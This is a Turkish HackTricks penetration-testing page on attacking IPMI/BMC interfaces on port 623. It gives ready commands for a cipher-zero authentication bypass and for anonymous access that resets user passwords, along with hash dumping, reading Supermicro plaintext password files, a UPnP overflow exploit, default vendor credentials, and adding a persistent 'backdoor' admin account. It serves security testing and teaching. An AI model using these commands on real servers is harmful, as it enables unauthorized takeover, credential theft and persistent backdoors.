hacktricks/network-services-pentesting/623-udp-ipmi.md

148 lines
11 KiB
Markdown
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 623/UDP/TCP - IPMI
## 623/UDP/TCP - IPMI
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Temel Bilgiler
### **IPMI Genel Bakış**
**[Akıllı Platform Yönetim Arayüzü (IPMI)](https://www.thomas-krenn.com/en/wiki/IPMI_Basics)**, işletim sisteminden veya güç durumundan bağımsız olarak bilgisayar sistemlerinin uzaktan yönetimi ve izlenmesi için standart bir yaklaşım sunar. Bu teknoloji, sistem yöneticilerinin sistemleri uzaktan yönetmelerine olanak tanır, hatta sistem kapalı veya yanıt vermediğinde bile, ve özellikle şunlar için faydalıdır:
- OS öncesi önyükleme yapılandırmaları
- Güç kapalı yönetimi
- Sistem arızalarından kurtarma
IPMI, sıcaklıkları, voltajları, fan hızlarını ve güç kaynaklarını izleme yeteneğine sahiptir, ayrıca envanter bilgileri sağlama, donanım günlüklerini gözden geçirme ve SNMP aracılığıyla uyarılar gönderme işlevi de vardır. İşlemi için gerekli olanlar bir güç kaynağı ve bir LAN bağlantısıdır.
Intel tarafından 1998'de tanıtıldığından beri, IPMI birçok satıcı tarafından desteklenmektedir ve uzaktan yönetim yeteneklerini artırmaktadır, özellikle 2.0 sürümünün LAN üzerinden seri desteği ile. Ana bileşenler şunlardır:
- **Ana Kart Yönetim Kontrolcüsü (BMC):** IPMI işlemleri için ana mikro denetleyici.
- **İletişim Araçları ve Arayüzleri:** ICMB, IPMB ve yerel ve ağ bağlantıları için çeşitli arayüzler dahil olmak üzere iç ve dış iletişim için.
- **IPMI Belleği:** Günlükleri ve verileri depolamak için.
![https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right](https://blog.rapid7.com/content/images/post-images/27966/IPMI-Block-Diagram.png#img-half-right)
**Varsayılan Port**: 623/UDP/TCP (Genellikle UDP'de çalışır ama TCP'de de çalışıyor olabilir)
## Sayım
### Keşif
```bash
nmap -n -p 623 10.0.0./24
nmap -n-sU -p 623 10.0.0./24
use auxiliary/scanner/ipmi/ipmi_version
```
Sürümü **belirleyebilirsiniz**:
```bash
use auxiliary/scanner/ipmi/ipmi_version
nmap -sU --script ipmi-version -p 623 10.10.10.10
```
### IPMI Açıkları
IPMI 2.0 alanında, Dan Farmer tarafından önemli bir güvenlik açığı keşfedildi ve bu açık **cipher type 0** aracılığıyla ortaya çıktı. Bu açık, [Dan Farmer'ın araştırmasında](http://fish2.com/ipmi/cipherzero.html) ayrıntılı olarak belgelenmiştir ve geçerli bir kullanıcı hedef alındığında, herhangi bir şifre ile yetkisiz erişim sağlar. Bu zayıflık, HP, Dell ve Supermicro gibi üreticilerin çeşitli BMC'lerinde bulundu ve tüm IPMI 2.0 uygulamalarında yaygın bir sorun olduğunu göstermektedir.
### **Cipher 0 ile IPMI Kimlik Doğrulama Atlatma**
Bu açığı tespit etmek için aşağıdaki Metasploit yardımcı tarayıcısı kullanılabilir:
```bash
use auxiliary/scanner/ipmi/ipmi_cipher_zero
```
Bu açığın istismarı `ipmitool` ile mümkündür, aşağıda gösterildiği gibi, kullanıcı şifrelerinin listelenmesi ve değiştirilmesine olanak tanır:
```bash
apt-get install ipmitool # Installation command
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user list # Lists users
ipmitool -I lanplus -C 0 -H 10.0.0.22 -U root -P root user set password 2 abc123 # Changes password
```
### **IPMI 2.0 RAKP Kimlik Doğrulama Uzak Şifre Hashi Alma**
Bu zafiyet, mevcut herhangi bir kullanıcı adı için tuzlu hashlenmiş şifrelerin (MD5 ve SHA1) alınmasını sağlar. Bu zafiyeti test etmek için Metasploit bir modül sunar:
```bash
msf > use auxiliary/scanner/ipmi/ipmi_dumphashes
```
### **IPMI Anonim Kimlik Doğrulama**
Birçok BMC'deki varsayılan yapılandırma, boş kullanıcı adı ve şifre dizeleri ile karakterize edilen "anonim" erişime izin verir. Bu yapılandırma, `ipmitool` kullanarak adlandırılmış kullanıcı hesaplarının şifrelerini sıfırlamak için istismar edilebilir:
```bash
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user list
ipmitool -I lanplus -H 10.0.0.97 -U '' -P '' user set password 2 newpassword
```
### **Supermicro IPMI Düz Metin Parolaları**
IPMI 2.0'daki kritik bir tasarım tercihi, kimlik doğrulama amaçları için BMC'lerde düz metin parolalarının depolanmasını gerektirir. Supermicro'nun bu parolaları `/nv/PSBlock` veya `/nv/PSStore` gibi yerlerde depolaması önemli güvenlik endişeleri doğurmaktadır:
```bash
cat /nv/PSBlock
```
### **Supermicro IPMI UPnP Açığı**
Supermicro'nun IPMI firmware'ında, özellikle UDP port 1900'de bir UPnP SSDP dinleyicisi bulundurması, ciddi bir güvenlik riski oluşturur. [Rapid7'nin ifşasında](https://blog.rapid7.com/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play) detaylandırıldığı gibi, UPnP Cihazları için Intel SDK sürüm 1.3.1'deki açıklar, BMC'ye root erişimi sağlar:
```bash
msf> use exploit/multi/upnp/libupnp_ssdp_overflow
```
### Brute Force
**HP, üretim sırasında varsayılan şifreyi rastgele belirler** ve bu, **Entegre Işık Yönetimi (iLO)** ürünü için geçerlidir. Bu uygulama, **statik varsayılan kimlik bilgileri** kullanma eğiliminde olan diğer üreticilerle tezat oluşturur. Çeşitli ürünler için varsayılan kullanıcı adları ve şifrelerin bir özeti aşağıda verilmiştir:
- **HP Entegre Işık Yönetimi (iLO)**, varsayılan şifre olarak **fabrika tarafından rastgele oluşturulmuş 8 karakterli bir dize** kullanır ve bu, daha yüksek bir güvenlik seviyesini gösterir.
- **Dell'in iDRAC, IBM'in IMM** ve **Fujitsu'nun Entegre Uzaktan Yönetim Kontrolörü** gibi ürünler, sırasıyla "calvin", "PASSW0RD" (sıfır ile) ve "admin" gibi kolay tahmin edilebilir şifreler kullanır.
- Benzer şekilde, **Supermicro IPMI (2.0), Oracle/Sun ILOM** ve **ASUS iKVM BMC** de "ADMIN", "changeme" ve "admin" gibi basit varsayılan kimlik bilgilerini kullanmaktadır.
## Accessing the Host via BMC
Ana Kart Yönetim Kontrolörü (BMC) üzerinden yönetimsel erişim, ana bilgisayarın işletim sistemine erişim için çeşitli yollar açar. Basit bir yaklaşım, BMC'nin Klavye, Video, Fare (KVM) işlevselliğini kullanmaktır. Bu, ana bilgisayarı GRUB üzerinden bir root shell'e yeniden başlatarak (`init=/bin/sh` kullanarak) veya kurtarma diski olarak ayarlanmış sanal bir CD-ROM'dan başlatarak yapılabilir. Bu yöntemler, ana bilgisayarın diskini doğrudan manipüle etmeye, arka kapılar eklemeye, veri çıkarmaya veya güvenlik değerlendirmesi için gerekli herhangi bir eylemi gerçekleştirmeye olanak tanır. Ancak, bu ana bilgisayarı yeniden başlatmayı gerektirir, bu da önemli bir dezavantajdır. Yeniden başlatmadan, çalışan ana bilgisayara erişim daha karmaşık ve ana bilgisayarın yapılandırmasına bağlı olarak değişir. Ana bilgisayarın fiziksel veya seri konsolu oturum açmış durumda kalırsa, BMC'nin KVM veya LAN üzerinden seri (sol) işlevselliği aracılığıyla `ipmitool` kullanılarak kolayca ele geçirilebilir. Paylaşılan donanım kaynaklarının, örneğin i2c veri yolu ve Süper G/Ç yongası gibi, istismarını araştırmak, daha fazla inceleme gerektiren bir alandır.
## Introducing Backdoors into BMC from the Host
BMC ile donatılmış bir ana bilgisayarı tehlikeye attıktan sonra, **yerel BMC arayüzü, arka kapı kullanıcı hesabı eklemek için kullanılabilir** ve bu, sunucuda kalıcı bir varlık oluşturur. Bu saldırı, tehlikeye atılmış ana bilgisayarda **`ipmitool`** bulunmasını ve BMC sürücü desteğinin etkinleştirilmesini gerektirir. Aşağıdaki komutlar, kimlik doğrulama gereksinimini atlayarak ana bilgisayarın yerel arayüzü kullanılarak BMC'ye yeni bir kullanıcı hesabının nasıl enjekte edilebileceğini göstermektedir. Bu teknik, Linux, Windows, BSD ve hatta DOS dahil olmak üzere geniş bir işletim sistemi yelpazesine uygulanabilir.
```bash
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
ipmitool user set name 4 backdoor
ipmitool user set password 4 backdoor
ipmitool user priv 4 4
ipmitool user list
ID Name Callin Link Auth IPMI Msg Channel Priv Limit
2 ADMIN true false false Unknown (0x00)
3 root true false false Unknown (0x00)
4 backdoor true false true ADMINISTRATOR
```
## Shodan
* `port:623`
## References
* [https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/](https://blog.rapid7.com/2013/07/02/a-penetration-testers-guide-to-ipmi/)
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}